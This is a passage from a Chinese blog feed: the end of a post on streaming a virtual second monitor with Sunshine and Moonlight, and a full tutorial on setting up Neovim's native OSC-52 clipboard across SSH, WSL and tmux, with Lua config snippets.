&lt;p&gt;然后进入到 Sunshine 的 Web 后台，找到显示器设置，将你的显示器编号输入进去。&lt;&#x2F;p&gt;
&lt;p&gt;&lt;img src=&quot;&#x2F;obsidian&#x2F;assets&#x2F;sunshine-moonlight-screen&#x2F;sunshine-web-monitor-number.png&quot; alt=&quot;image-20240116192851250&quot; &#x2F;&gt;&lt;&#x2F;p&gt;
&lt;p&gt;可以看到红框部分也是提示了我们，显示器编号应该去哪里找&lt;&#x2F;p&gt;
&lt;p&gt;现在，重启平板上的 Moonlight，重新连接电脑，你就会发现一件奇怪的事——平板黑屏了。如果你把鼠标移过去倒也能看到鼠标，但是就是没有画面。&lt;&#x2F;p&gt;
&lt;p&gt;其实这个问题倒也不是问题，如果你曾经因为桌面卡死而执行过 &lt;code&gt;killall plasmashell&lt;&#x2F;code&gt; 这种命令就会知道，其实只是没有桌面系统，也就是任务栏、桌面图片和一些控件，但是已经开启了的应用是可以在上面运行的。换句话讲，你现在把你主屏幕上的一些应用直接拖到左边副屏上，就已经可以使用了！&lt;&#x2F;p&gt;
&lt;p&gt;大功告成！！！&lt;&#x2F;p&gt;
&lt;h2 id=&quot;yi-zhi-wen-ti-p&quot;&gt;已知问题&lt;a rel=&quot;noopener&quot; target=&quot;_blank&quot; title=&quot;永久链接&quot; href=&quot;https:&#x2F;&#x2F;www.sxrhhh.top&#x2F;blog&#x2F;2024&#x2F;01&#x2F;16&#x2F;sunshine-moonlight-to-create-a-virtual-monitor&#x2F;#%E5%B7%B2%E7%9F%A5%E9%97%AE%E9%A2%98&quot;&gt;¶&lt;&#x2F;a&gt;&lt;&#x2F;h2&gt;
&lt;p&gt;在测试途中，倒也发现了一些问题。&lt;&#x2F;p&gt;
&lt;p&gt;首先就是在 Moonlight 连接状态时，如果你像我一样写好了 &lt;code&gt;vmonitor&lt;&#x2F;code&gt; 脚本，并且依次执行 &lt;code&gt;vmonitor off&lt;&#x2F;code&gt; 、&lt;code&gt;vmonitor left&lt;&#x2F;code&gt; 就会发现副屏切换回主屏幕界面，然后再切回副屏界面，所有应用保存在副屏。这个很符合预期。&lt;&#x2F;p&gt;
&lt;p&gt;&lt;strong&gt;但是&lt;&#x2F;strong&gt;，如果我们在已经关闭了副屏的基础上，也就是 &lt;code&gt;vmonitor off&lt;&#x2F;code&gt; 的情况下，在终端运行了 &lt;code&gt;sunshine&lt;&#x2F;code&gt; ，很有可能会造成 KDE 卡死，除了鼠标所有东西都不动了。我的解决方案是：切换到 TTY 下，运行 &lt;code&gt;sudo systemctl restart sddm&lt;&#x2F;code&gt; 来重启窗口管理器解决问题，代价就是一些已经开好了的桌面应用需要重新开启。&lt;&#x2F;p&gt;
&lt;p&gt;因此，每次开启电脑或是重启桌面后，必须先要运行 &lt;code&gt;xrandr&lt;&#x2F;code&gt; 命令，或是像我那样的 &lt;code&gt;vmonitor&lt;&#x2F;code&gt; 脚本，再运行 Sunshine, 防止桌面卡死。&lt;&#x2F;p&gt;
&lt;p&gt;第二点就是在 Moonlight 串流成功后，电脑会首先将声音扬声器转移到 Moonlight 控制端，也就是平板发出了声音。如果我再在任务栏将声音通道转回来，我的电脑会恢复发出声音的情况，但是我的平板并不会停止发出声音。我在声音设置下将除了耳机以外所有音频通道全部静音也无济于事。我的解决方案便是将平板在物理层面上静音，也就是设置设备的扬声器。&lt;&#x2F;p&gt;
&lt;hr &#x2F;&gt;
&lt;p&gt;作者：Sxrhhh&lt;&#x2F;p&gt;
&lt;p&gt;个人网站：&lt;a rel=&quot;noopener&quot; target=&quot;_blank&quot; href=&quot;https:&#x2F;&#x2F;www.sxrhhh.top&#x2F;&quot;&gt;https:&#x2F;&#x2F;www.sxrhhh.top&lt;&#x2F;a&gt;&lt;&#x2F;p&gt;
&lt;p&gt;博客园：&lt;a rel=&quot;noopener&quot; target=&quot;_blank&quot; href=&quot;https:&#x2F;&#x2F;www.cnblogs.com&#x2F;sxrhhh&#x2F;&quot;&gt;Sxrhhh - 博客园 (cnblogs.com)&lt;&#x2F;a&gt;&lt;&#x2F;p&gt;
</content>
        
    </entry>
    <entry xml:lang="en">
        <title>穿透 wsl 和 ssh, 新版本 neovim 跨设备任意复制，copy anywhere!</title>
        <published>2024-09-12T00:00:00+00:00</published>
        <updated>2024-09-12T00:00:00+00:00</updated>
        
        <author>
          <name>
            
              moxuetianya
            
          </name>
        </author>
        
        <link rel="alternate" type="text/html" href="https://vercel.juzhong.asia/obsidian/穿透-wsl-和-ssh-新版本-neovim-跨设备任意复制-copy-anywhere/"/>
        <id>https://vercel.juzhong.asia/obsidian/穿透-wsl-和-ssh-新版本-neovim-跨设备任意复制-copy-anywhere/</id>
        
        <content type="html" xml:base="https://vercel.juzhong.asia/obsidian/穿透-wsl-和-ssh-新版本-neovim-跨设备任意复制-copy-anywhere/">&lt;h1 id=&quot;chuan-tou-wsl-he-ssh-xin-ban-ben-neovim-kua-she-bei-ren-yi-fu-zhi-copy-anywhere&quot;&gt;穿透 wsl 和 ssh, 新版本 neovim 跨设备任意复制，copy anywhere!&lt;&#x2F;h1&gt;
&lt;h2 id=&quot;1-chuang-zuo-dong-ji-p&quot;&gt;1. 创作动机&lt;a rel=&quot;noopener&quot; target=&quot;_blank&quot; title=&quot;永久链接&quot; href=&quot;https:&#x2F;&#x2F;www.sxrhhh.top&#x2F;blog&#x2F;2024&#x2F;06&#x2F;06&#x2F;neovim-copy-anywhere&#x2F;#1-%E5%88%9B%E4%BD%9C%E5%8A%A8%E6%9C%BA&quot;&gt;¶&lt;&#x2F;a&gt;&lt;&#x2F;h2&gt;
&lt;p&gt;最近一个星期，我入坑了 neovim, 然后开始配置各种插件。同一个时间点，我入手了一台 surface go2, 这是个 Windows 平板，我在上面也是装好了各种软件，配置了 wsl2, 并且配置了 ssh。然后我发现当我 ssh 连接到宿舍的高性能笔记本的时候，我打开 neovim 时候无法进行复制粘贴。严格地说，是无法进行复制，因为你无法使用 &lt;code&gt;ctrl+shift+C&lt;&#x2F;code&gt; 进行复制。所以我们通常在本机配置 &lt;code&gt;opt.clipboard:append(&quot;unnamedplus&quot;)&lt;&#x2F;code&gt; 来直接让 neovim 和系统剪贴板打通。但是这一次我们通过 ssh 传输数据，傻眼了。&lt;&#x2F;p&gt;
&lt;p&gt;因此，寻找一个可以通过 ssh 传输剪贴板的方案，&lt;del&gt;迫在眉睫&lt;&#x2F;del&gt;.&lt;&#x2F;p&gt;
&lt;h2 id=&quot;2-yuan-li-jie-shao-p&quot;&gt;2. 原理介绍&lt;a rel=&quot;noopener&quot; target=&quot;_blank&quot; title=&quot;永久链接&quot; href=&quot;https:&#x2F;&#x2F;www.sxrhhh.top&#x2F;blog&#x2F;2024&#x2F;06&#x2F;06&#x2F;neovim-copy-anywhere&#x2F;#2-%E5%8E%9F%E7%90%86%E4%BB%8B%E7%BB%8D&quot;&gt;¶&lt;&#x2F;a&gt;&lt;&#x2F;h2&gt;
&lt;p&gt;首先，我们要介绍一下 nvim 传输剪贴板的方式。&lt;&#x2F;p&gt;
&lt;p&gt;第一步，当 neovim 执行 &lt;code&gt;&quot;*y&lt;&#x2F;code&gt; 或者 &lt;code&gt;&quot;+y&lt;&#x2F;code&gt; 的时候，就会把选中的内容写入到系统剪贴板中。这一步，并不是直接写入系统剪贴板的。neovim 会按照一定的优先级调用程序，而当某个程序符合要求的时候，neovim 就会调用这个程序。在以 X11 驱动的 Linux 桌面上，这个程序是 &lt;code&gt;xclip&lt;&#x2F;code&gt;。也就是说只要有 &lt;code&gt;xclip&lt;&#x2F;code&gt; 这个程序，neovim 就可以把内容写入到剪贴板。Wayland 、MacOS 、Windows 等平台都是有对应的剪贴板程序的，我们可以在 neovim 中使用 &lt;code&gt;:help clipboard-tool&lt;&#x2F;code&gt; 来查看对应的程序。&lt;&#x2F;p&gt;
&lt;p&gt;还是第一步，如果 neovim 是使用 ssh 远程连接的，那么远程的我们肯定也是无法访问到系统剪贴板的。所以我们可以通过设置 &lt;code&gt;g:clipboard&lt;&#x2F;code&gt; 这个变量，让 neovim 执行 &lt;code&gt;&quot;*y&lt;&#x2F;code&gt; 或者 &lt;code&gt;&quot;+y&lt;&#x2F;code&gt; 的时候，把内容作为传入到 &lt;code&gt;g:clipboard&lt;&#x2F;code&gt; 这个变量定义的函数中。这一步我们可以实现将复制的内容利用 &lt;code&gt;OSC-52&lt;&#x2F;code&gt; 传输到远程的机器上。&lt;&#x2F;p&gt;
&lt;p&gt;第二步，我们在本地的机器上操控远程的 neovim 时，会接收到传来的 &lt;code&gt;OSC-52&lt;&#x2F;code&gt; 内容。如果你的终端模拟器能支持 &lt;code&gt;OSC-52&lt;&#x2F;code&gt; 的话，它就会帮你自动的把传来的内容写入到系统剪贴板中。但是反过来的话却不一定，这个是安全原因，因为如果你的终端想要发送剪贴板的内容，必然需要读取系统剪贴板。这个是有风险的。如果开启，我们可以在远程上直接使用 &lt;code&gt;p&lt;&#x2F;code&gt; 命令粘贴。但是不开启的话，我们仍然可以进入 &lt;code&gt;insert&lt;&#x2F;code&gt; 模式，然后使用 &lt;code&gt;ctrl+shift+v&lt;&#x2F;code&gt; 粘贴。&lt;&#x2F;p&gt;
&lt;p&gt;第三步，我们配置好 &lt;code&gt;g:clipboard&lt;&#x2F;code&gt; 变量之后，就可以直接使用 &lt;code&gt;&quot;*y&lt;&#x2F;code&gt; 或者 &lt;code&gt;&quot;+y&lt;&#x2F;code&gt; 进行复制。但是如果我们想要更方便，不想使用寄存器，直接使用 &lt;code&gt;y&lt;&#x2F;code&gt; &lt;code&gt;p&lt;&#x2F;code&gt; 命令，那么我们需要让 neovim 默认使用无名寄存器，配置加入这么一条就行了: &lt;code&gt;opt.clipboard:append(&quot;unnamedplus&quot;)&lt;&#x2F;code&gt;。&lt;&#x2F;p&gt;
&lt;p&gt;如图就是这一套剪贴板内容传输的流程图。当你配置完成之后，你就可以不需要多余的操作而直接复制粘贴了。&lt;&#x2F;p&gt;
&lt;p&gt;&lt;img src=&quot;&#x2F;obsidian&#x2F;assets&#x2F;neovim-copy-anywhere&#x2F;neovim-clipboard-flow.png&quot; alt=&quot;&quot; &#x2F;&gt;&lt;&#x2F;p&gt;
&lt;p&gt;下面就是具体的各种情况的配置过程。&lt;&#x2F;p&gt;
&lt;h2 id=&quot;3-pei-zhi-ssh-chuan-shu-p&quot;&gt;3. 配置 ssh 传输&lt;a rel=&quot;noopener&quot; target=&quot;_blank&quot; title=&quot;永久链接&quot; href=&quot;https:&#x2F;&#x2F;www.sxrhhh.top&#x2F;blog&#x2F;2024&#x2F;06&#x2F;06&#x2F;neovim-copy-anywhere&#x2F;#3-%E9%85%8D%E7%BD%AE-ssh-%E4%BC%A0%E8%BE%93&quot;&gt;¶&lt;&#x2F;a&gt;&lt;&#x2F;h2&gt;
&lt;h3 id=&quot;3-1-li-lun-ji-chu-p&quot;&gt;3.1 理论基础&lt;a rel=&quot;noopener&quot; target=&quot;_blank&quot; title=&quot;永久链接&quot; href=&quot;https:&#x2F;&#x2F;www.sxrhhh.top&#x2F;blog&#x2F;2024&#x2F;06&#x2F;06&#x2F;neovim-copy-anywhere&#x2F;#31-%E7%90%86%E8%AE%BA%E5%9F%BA%E7%A1%80&quot;&gt;¶&lt;&#x2F;a&gt;&lt;&#x2F;h3&gt;
&lt;p&gt;ssh 传输剪贴板是目前用处最广的, 配置它我们就需要利用好 &lt;code&gt;OSC-52&lt;&#x2F;code&gt; 协议。&lt;&#x2F;p&gt;
&lt;p&gt;首先，我们需要确认好我们目前使用的终端是否支持 &lt;code&gt;OSC-52&lt;&#x2F;code&gt; 协议。网上可以找到一张主流终端模拟器是否对 &lt;code&gt;OSC-52&lt;&#x2F;code&gt; 协议的支持表。这里我就贴下来了。&lt;&#x2F;p&gt;
&lt;ul&gt;
&lt;li&gt;Windows平台 - Windows Terminal：支持&lt;&#x2F;li&gt;
&lt;li&gt;Mac 平台 - iTerm2：支持&lt;&#x2F;li&gt;
&lt;li&gt;Mac 平台 - terminal.app：不支持&lt;&#x2F;li&gt;
&lt;li&gt;Ubuntu 平台 - Gnome Terminal：不支持&lt;&#x2F;li&gt;
&lt;li&gt;Chromebook - hterm：支持&lt;&#x2F;li&gt;
&lt;li&gt;跨平台 - alacritty：支持&lt;&#x2F;li&gt;
&lt;li&gt;跨平台 - kitty：支持&lt;&#x2F;li&gt;
&lt;li&gt;终端复用 - tmux：支持&lt;&#x2F;li&gt;
&lt;li&gt;终端复用 - screen：支持&lt;&#x2F;li&gt;
&lt;&#x2F;ul&gt;
&lt;p&gt;也就是说，当你使用 Windows Terminal 作为你连接和使用远程 linux 上的 neovim 时，你就可以直接使用 &lt;code&gt;OSC-52&lt;&#x2F;code&gt; 协议进行剪贴板传输，请放心使用。&lt;&#x2F;p&gt;
&lt;p&gt;然后，我们需要在远程的 neovim 中配置 &lt;code&gt;g:clipboard&lt;&#x2F;code&gt; 变量。这个变量分为两个部分，一部分是 copy，另一部分是 paste。copy 部分是当执行 &lt;code&gt;&quot;*y&lt;&#x2F;code&gt; 或者 &lt;code&gt;&quot;+y&lt;&#x2F;code&gt; 的时候，把选中的内容作为参数传给 &lt;code&gt;g:clipboard.copy，&lt;&#x2F;code&gt;paste 部分是当执行 &lt;code&gt;&quot;*p&lt;&#x2F;code&gt; 的时候，把远程的 neovim 的剪贴板内容作为参数传给 neovim 来直接粘贴。然而通常，paste 会导致终端读取我们本地的剪贴板，经过网络传输，不太安全。所以一般大部分终端模拟器的 &lt;code&gt;OSC-52&lt;&#x2F;code&gt; 协议是&lt;strong&gt;不可读取&lt;&#x2F;strong&gt;的。这包括了&lt;strong&gt;Windows Terminal&lt;&#x2F;strong&gt;&lt;&#x2F;p&gt;
&lt;p&gt;打开 neovim， 输入 &lt;code&gt;:help clipboard-osc52&lt;&#x2F;code&gt; 就可以看到 &lt;code&gt;OSC-52&lt;&#x2F;code&gt; 的帮助文档。这说明 neovim 已经原生支持了 &lt;code&gt;OSC-52&lt;&#x2F;code&gt; 协议。网上似乎说这一条的毕竟少，毕竟 neovim 0.10 是三个星期前刚发布的，之前用的人多了就没有关注这个新配置。而我正好是最近入坑的，查帮助文档看到了这个。在此之前人们基本上都是推荐 &lt;code&gt;vim.oscyank&lt;&#x2F;code&gt; 这个插件来支持 &lt;code&gt;OSC-52&lt;&#x2F;code&gt; 协议的。既然有原生的支持，我们就&lt;strong&gt;不需要&lt;&#x2F;strong&gt;再安装这个插件了。&lt;&#x2F;p&gt;
&lt;h3 id=&quot;3-2-an-zhao-guan-fang-wen-dang-pei-zhi-p&quot;&gt;3.2 按照官方文档配置&lt;a rel=&quot;noopener&quot; target=&quot;_blank&quot; title=&quot;永久链接&quot; href=&quot;https:&#x2F;&#x2F;www.sxrhhh.top&#x2F;blog&#x2F;2024&#x2F;06&#x2F;06&#x2F;neovim-copy-anywhere&#x2F;#32-%E6%8C%89%E7%85%A7%E5%AE%98%E6%96%B9%E6%96%87%E6%A1%A3%E9%85%8D%E7%BD%AE&quot;&gt;¶&lt;&#x2F;a&gt;&lt;&#x2F;h3&gt;
&lt;p&gt;我们先在 neovim 里面执行 &lt;code&gt;:help clipboard-osc52&lt;&#x2F;code&gt; 看一下官方文档。如果你之前正常配置过 neovim ，就应该会有一个自己的配置文件目录，这里不再赘述，所以我们直接贴出官方的配置文档。&lt;&#x2F;p&gt;
&lt;pre&gt;&lt;code&gt;    vim.g.clipboard = {
      name = &amp;#x27;OSC 52&amp;#x27;,
      copy = {
        [&amp;#x27;+&amp;#x27;] = require(&amp;#x27;vim.ui.clipboard.osc52&amp;#x27;).copy(&amp;#x27;+&amp;#x27;),
        [&amp;#x27;*&amp;#x27;] = require(&amp;#x27;vim.ui.clipboard.osc52&amp;#x27;).copy(&amp;#x27;*&amp;#x27;),
      },
      paste = {
        [&amp;#x27;+&amp;#x27;] = require(&amp;#x27;vim.ui.clipboard.osc52&amp;#x27;).paste(&amp;#x27;+&amp;#x27;),
        [&amp;#x27;*&amp;#x27;] = require(&amp;#x27;vim.ui.clipboard.osc52&amp;#x27;).paste(&amp;#x27;*&amp;#x27;),
      },
    }
&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;p&gt;我们只需要把这一段配置复制到自己的配置文件中，然后重启 neovim 即可。&lt;&#x2F;p&gt;
&lt;p&gt;&lt;del&gt;如果配置到这里就结束了，那么也不失为美好的结果。但是既然是个新东西，又怎么会让你如愿呢？&lt;&#x2F;del&gt;&lt;&#x2F;p&gt;
&lt;p&gt;之前说过，Windows Terminal 是不支持读取剪贴板的，所以当远程的 neovim 尝试执行 &lt;code&gt;&quot;*p&lt;&#x2F;code&gt; 的时候，会试图通过 &lt;code&gt;OSC-52&lt;&#x2F;code&gt; 协议读取本地剪贴板的内容，然后传给远程的 neovim。但是 Windows Terminal 是不支持读取剪贴板的，所以这个过程会失败。我们在 neovim 中执行 &lt;code&gt;:reg&lt;&#x2F;code&gt; 来查看寄存器，可以看到 neovim 弹出了报错：&lt;&#x2F;p&gt;
&lt;pre&gt;&lt;code&gt;Waiting for OSC 52 response from the terminal. Press Ctrl-C to interrupt ...
&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;p&gt;正因如此，每当我们执行 &lt;code&gt;&quot;*p&lt;&#x2F;code&gt; 的时候，都会弹出一个报错。我们必须要手动按下一个回车键，才能正常粘贴，而且粘贴的还是普通的 &lt;code&gt;&quot;&quot;&lt;&#x2F;code&gt; 临时寄存器。这非常的影响体验。因为我们确实只需要复制功能，粘贴功能我们只需要进入 &lt;code&gt;INSERT&lt;&#x2F;code&gt; 模式，然后使用 &lt;code&gt;ctrl+shift+v&lt;&#x2F;code&gt; 粘贴就可以了。现在我们来重新配置一下，让它不再报错。&lt;&#x2F;p&gt;
&lt;h3 id=&quot;3-3-pei-zhi-bu-bao-cuo-p&quot;&gt;3.3 配置不报错&lt;a rel=&quot;noopener&quot; target=&quot;_blank&quot; title=&quot;永久链接&quot; href=&quot;https:&#x2F;&#x2F;www.sxrhhh.top&#x2F;blog&#x2F;2024&#x2F;06&#x2F;06&#x2F;neovim-copy-anywhere&#x2F;#33-%E9%85%8D%E7%BD%AE%E4%B8%8D%E6%8A%A5%E9%94%99&quot;&gt;¶&lt;&#x2F;a&gt;&lt;&#x2F;h3&gt;
&lt;p&gt;上文说到，如果本地终端不支持剪贴板的读取，那么远程的 neovim 会尝试通过 &lt;code&gt;OSC-52&lt;&#x2F;code&gt; 协议读取本地剪贴板的内容，然后失败，影响写作体验。&lt;&#x2F;p&gt;
&lt;p&gt;在 github 上有这么一个 &lt;a rel=&quot;noopener&quot; target=&quot;_blank&quot; href=&quot;https:&#x2F;&#x2F;github.com&#x2F;neovim&#x2F;neovim&#x2F;issues&#x2F;28611&quot;&gt;issue&lt;&#x2F;a&gt;，提出了一个解决方案如下：&lt;&#x2F;p&gt;
&lt;pre&gt;&lt;code&gt;function no_paste(reg)
    return function(lines)
        -- Do nothing! We can&amp;#x27;t paste with OSC52
    end
end

vim.g.clipboard = {
    name = &amp;quot;OSC 52&amp;quot;,
    copy = {
         [&amp;quot;+&amp;quot;] = require(&amp;quot;vim.ui.clipboard.osc52&amp;quot;).copy(&amp;quot;+&amp;quot;),
         [&amp;quot;*&amp;quot;] = require(&amp;quot;vim.ui.clipboard.osc52&amp;quot;).copy(&amp;quot;*&amp;quot;),
    },
    paste = {
        [&amp;quot;+&amp;quot;] = no_paste(&amp;quot;+&amp;quot;), -- Pasting disabled
        [&amp;quot;*&amp;quot;] = no_paste(&amp;quot;*&amp;quot;), -- Pasting disabled
    }
}
&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;p&gt;可以看到，这个方案是直接把 &lt;code&gt;paste&lt;&#x2F;code&gt; 设置为一个空函数。这样当 neovim 执行 &lt;code&gt;&quot;*p&lt;&#x2F;code&gt; 的时候，就不会再试图去利用 &lt;code&gt;OSC-52&lt;&#x2F;code&gt; 协议读取本地剪贴板的内容了。&lt;&#x2F;p&gt;
&lt;p&gt;但是这个方法有一个问题，就是说当进行粘贴的时候，因为函数返回的格式并不符合官方文档的要求，那么 neovim 就会报错。&lt;&#x2F;p&gt;
&lt;pre&gt;&lt;code&gt;clipboard: provider returned invalid data
&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;p&gt;这个报错每一次粘贴都会出现，还是红字非常刺眼。我对此很难受，所以还需要想办法解决这个问题。解决思路就是：&lt;strong&gt;因为我们预期的粘贴命令是粘贴 neovim 自己的&lt;&#x2F;strong&gt;**&lt;code&gt;y&lt;&#x2F;code&gt;**&lt;strong&gt;复制，所以我们只需要让 paste 可以返回&lt;&#x2F;strong&gt; &lt;strong&gt;&lt;code&gt;&quot;&quot;&lt;&#x2F;code&gt;&lt;&#x2F;strong&gt; &lt;strong&gt;临时寄存器的内容就可以了。&lt;&#x2F;strong&gt;&lt;&#x2F;p&gt;
&lt;p&gt;以下就是我的配置，把上面的配置替换成下面这个：&lt;&#x2F;p&gt;
&lt;pre&gt;&lt;code&gt;function my_paste(reg)
    return function(lines)

        --[ 返回 “” 寄存器的内容，用来作为 p 操作符的粘贴物 ]
        local content = vim.fn.getreg(&amp;#x27;&amp;quot;&amp;#x27;)
        return vim.split(content, &amp;#x27;\n&amp;#x27;)

    end
end

if (os.getenv(&amp;#x27;SSH_TTY&amp;#x27;) == nil)
then
    --[ 当前环境为本地环境，也包括 wsl ]
    opt.clipboard:append(&amp;quot;unnamedplus&amp;quot;)
else
    opt.clipboard:append(&amp;quot;unnamedplus&amp;quot;)
    vim.g.clipboard = {
      name = &amp;#x27;OSC 52&amp;#x27;,
      copy = {
        [&amp;#x27;+&amp;#x27;] = require(&amp;#x27;vim.ui.clipboard.osc52&amp;#x27;).copy(&amp;#x27;+&amp;#x27;),
        [&amp;#x27;*&amp;#x27;] = require(&amp;#x27;vim.ui.clipboard.osc52&amp;#x27;).copy(&amp;#x27;*&amp;#x27;),
      },
      paste = {
        --[ 小括号里面的内容可能是毫无意义的，但是保持原样可能看起来更好一点 ]
        [&amp;quot;+&amp;quot;] = my_paste(&amp;quot;+&amp;quot;),
        [&amp;quot;*&amp;quot;] = my_paste(&amp;quot;*&amp;quot;),

    },
}
end
&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;p&gt;在这一段 lua 配置中，可以看到我用了一个 if 条件判断，检测 &lt;code&gt;$SSH_TTY&lt;&#x2F;code&gt; 环境变量来检测是否为本地环境。如果当前环境是本地环境，那么除了使用 &lt;code&gt;unnamedplus&lt;&#x2F;code&gt; 寄存器以外什么也不做，否则就使用 &lt;code&gt;OSC-52&lt;&#x2F;code&gt; 协议传输剪贴板。&lt;&#x2F;p&gt;
&lt;p&gt;关于本地环境，因为没有设置 &lt;code&gt;g:clipboard&lt;&#x2F;code&gt; 变量，所以 neovim 就会根据 &lt;code&gt;:help clipboard-tool&lt;&#x2F;code&gt; 文档来选择默认的剪贴板。因为我们 linux 机器上面安装了 &lt;code&gt;xclip&lt;&#x2F;code&gt; 这个软件，所以 neovim 就会把内容复制到本地的系统剪贴板。&lt;&#x2F;p&gt;
&lt;p&gt;而远程环境，因为设置了 &lt;code&gt;g:clipboard&lt;&#x2F;code&gt; 变量，所以 neovim 会使用 &lt;code&gt;OSC-52&lt;&#x2F;code&gt; 协议来传输它打算复制到系统剪贴板的内容。而粘贴的时候，则会调用我写的 &lt;code&gt;my_paste&lt;&#x2F;code&gt; 函数，这个函数会返回 &lt;code&gt;&quot;&quot;&lt;&#x2F;code&gt; 寄存器的内容。因此，我成功的把 &lt;code&gt;p&lt;&#x2F;code&gt; 的功能给修复到了正常的状态。&lt;&#x2F;p&gt;
&lt;h2 id=&quot;4-pei-zhi-tmux-ke-xuan-p&quot;&gt;4. 配置 tmux (可选)&lt;a rel=&quot;noopener&quot; target=&quot;_blank&quot; title=&quot;永久链接&quot; href=&quot;https:&#x2F;&#x2F;www.sxrhhh.top&#x2F;blog&#x2F;2024&#x2F;06&#x2F;06&#x2F;neovim-copy-anywhere&#x2F;#4-%E9%85%8D%E7%BD%AE-tmux-%E5%8F%AF%E9%80%89&quot;&gt;¶&lt;&#x2F;a&gt;&lt;&#x2F;h2&gt;
&lt;p&gt;如果你使用的是 tmux，那么你可以通过配置 tmux 来跳过步骤 3。我并没有使用 tmux 的打算，但是如果你使用 tmux，那么你需要配置一下。网上关于 tmux 开启 &lt;code&gt;OSC-52&lt;&#x2F;code&gt; 协议的配置很多，这里我不再赘述，我也暂时没有配置的打算。我只讲一下 tmux 代理的原理。&lt;&#x2F;p&gt;
&lt;p&gt;其实也非常好懂，当你使用 tmux 的时候，neovim 不会认为你的终端是来自远程 ssh 连接的。他只知道将内容发送到 tmux 进程，然后由 tmux 转发给远程的 neovim。&lt;&#x2F;p&gt;
&lt;p&gt;根据&lt;a rel=&quot;noopener&quot; target=&quot;_blank&quot; href=&quot;https:&#x2F;&#x2F;github.com&#x2F;tmux&#x2F;tmux&#x2F;wiki&#x2F;Clipboard&quot;&gt;官方文档&lt;&#x2F;a&gt;，tmux 只需要这么设置就可以开启 &lt;code&gt;OSC-52&lt;&#x2F;code&gt; 协议了。&lt;&#x2F;p&gt;
&lt;p&gt;在 &lt;code&gt;.tmux.conf&lt;&#x2F;code&gt; 文件中添加如下配置：&lt;&#x2F;p&gt;
&lt;pre&gt;&lt;code&gt;set -s set-cliplboard on
# 好像还有一些，为了避免误人子弟还是建议自己去查一下
&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;p&gt;这样，tmux 就会把内容发送给本地终端。&lt;&#x2F;p&gt;
&lt;p&gt;勘误&lt;&#x2F;p&gt;
&lt;p&gt;上文说到，neovim 不会认为你的终端是来自远程 ssh 连接的。其实这句话是不对的，&lt;code&gt;$SSH_TTY&lt;&#x2F;code&gt; 环境变量是否设置，取决于你的 tmux 实在什么环境下开启的。那么如果你是 tmux 和直连混用的人，你需要这么配置&lt;&#x2F;p&gt;
&lt;p&gt;首先先 &lt;code&gt;echo $TERM&lt;&#x2F;code&gt; 检查一下你的终端类型。通常情况下，当我直连终端时，这个值为 &lt;code&gt;xterm-256color&lt;&#x2F;code&gt;，当使用 tmux 的时候，这个值会变成 &lt;code&gt;tmux-256color&lt;&#x2F;code&gt;。&lt;&#x2F;p&gt;
&lt;p&gt;然后，改写我之前的 lua 配置，利用 &lt;code&gt;if (os.getenv(&#x27;TERM&#x27;) == &#x27;tmux-256color&#x27;)&lt;&#x2F;code&gt; 判断。具体的配置教程可以参考 &lt;code&gt;:help g:clipboard&lt;&#x2F;code&gt;, 也可以参考网上教程。&lt;&#x2F;p&gt;
&lt;h2 id=&quot;5-pei-zhi-wslp&quot;&gt;5. 配置 wsl&lt;a rel=&quot;noopener&quot; target=&quot;_blank&quot; title=&quot;永久链接&quot; href=&quot;https:&#x2F;&#x2F;www.sxrhhh.top&#x2F;blog&#x2F;2024&#x2F;06&#x2F;06&#x2F;neovim-copy-anywhere&#x2F;#5-%E9%85%8D%E7%BD%AE-wsl&quot;&gt;¶&lt;&#x2F;a&gt;&lt;&#x2F;h2&gt;
&lt;p&gt;到了这里，我很高兴的告诉你，在我的设备上(wsl 2.1.0, neovim 0.10.0)，只需要一个 &lt;code&gt;opt clipboard:append(&#x27;unnamedplus&#x27;)&lt;&#x2F;code&gt;，wsl 就会自动和系统剪贴板交换，虽然使用 &lt;code&gt;win+V&lt;&#x2F;code&gt; 快捷键查看系统剪贴板可能不一定能看见。&lt;&#x2F;p&gt;
&lt;p&gt;如果你的配置还是不行，建议参考一下 &lt;code&gt;:help clipboard-wsl&lt;&#x2F;code&gt;。&lt;&#x2F;p&gt;
&lt;h2 id=&quot;6-zong-jie-p&quot;&gt;6. 总结&lt;a rel=&quot;noopener&quot; target=&quot;_blank&quot; title=&quot;永久链接&quot; href=&quot;https:&#x2F;&#x2F;www.sxrhhh.top&#x2F;blog&#x2F;2024&#x2F;06&#x2F;06&#x2F;neovim-copy-anywhere&#x2F;#6-%E6%80%BB%E7%BB%93&quot;&gt;¶&lt;&#x2F;a&gt;&lt;&#x2F;h2&gt;
&lt;p&gt;我本来是不愿意来 neovim 的，所以自从接触 vim 之后也是过了大半年才入了 neovim 的坑。正因为来晚了，我才看到官方已经原生支持 &lt;code&gt;OSC-52&lt;&#x2F;code&gt; 协议了。当然对于各位早已入坑的 neovim 玩家来说，也完全没必要去折腾。我希望这篇文章能带给和我一样的 neovim 新手，让他们能够在被 neovim 的剪贴板折磨的时候，能够通过搜索引擎，搜索到这么一篇 2024 年的教程。也希望大家和我多多交流，互相学习。个人网站下方的评论区已开放，欢迎大家来到博客园、知乎、个人网站的评论区一起交流。&lt;&#x2F;p&gt;
&lt;hr &#x2F;&gt;
&lt;p&gt;作者：Sxrhhh&lt;&#x2F;p&gt;
&lt;p&gt;个人网站：&lt;a rel=&quot;noopener&quot; target=&quot;_blank&quot; href=&quot;https:&#x2F;&#x2F;www.sxrhhh.top&#x2F;&quot;&gt;https:&#x2F;&#x2F;www.sxrhhh.top&lt;&#x2F;a&gt;&lt;&#x2F;p&gt;
&lt;p&gt;博客园：&lt;a rel=&quot;noopener&quot; target=&quot;_blank&quot; href=&quot;https:&#x2F;&#x2F;www.cnblogs.com&#x2F;sxrhhh&#x2F;&quot;&gt;Sxrhhh - 博客园 (cnblogs.com)&lt;&#x2F;a&gt;&lt;&#x2F;p&gt;
</content>
        
    </entry>
    <entry xml:lang="en">
        <title>Relocation gcc -static-pie</title>
        <published>2024-09-09T00:00:00+00:00</published>
        <updated>2024-09-09T00:00:00+00:00</updated>
        
        <author>
          <name>
            
              moxuetianya
            
          </name>
        </author>
        
        <link rel="alternate" type="text/html" href="https://vercel.juzhong.asia/obsidian/relocation-gcc-static-pie/"/>
